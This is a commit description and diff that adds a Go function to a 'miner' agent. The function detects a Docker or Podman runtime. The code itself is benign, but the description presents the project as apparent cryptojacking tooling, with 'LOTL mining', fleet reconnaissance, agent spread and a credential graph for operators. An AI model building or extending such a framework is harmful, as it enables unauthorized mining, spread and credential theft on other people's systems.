Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/miner/runtime_detect.go

@@ -0,0 +1,25 @@
+package miner
+
+import (
+	"os/exec"
+	"strings"
+)
+
+// DetectContainerRuntime probes docker then podman CLIs.
+func DetectContainerRuntime() ContainerRuntimeInfo {
+	for _, cli := range []string{"docker", "podman"} {
+		if path, err := exec.LookPath(cli); err == nil {
+			out, runErr := exec.Command(path, "version", "--format", "{{.Server.Version}}").CombinedOutput()
+			version := strings.TrimSpace(string(out))
+			if runErr != nil || version == "" {
+				// Older docker without --format still counts as available.
+				if _, verErr := exec.Command(path, "version").CombinedOutput(); verErr == nil {
+					return ContainerRuntimeInfo{Available: true, CLI: cli, Version: "unknown"}
+				}
+				continue
+			}
+			return ContainerRuntimeInfo{Available: true, CLI: cli, Version: version}
+		}
+	}
+	return ContainerRuntimeInfo{}
+}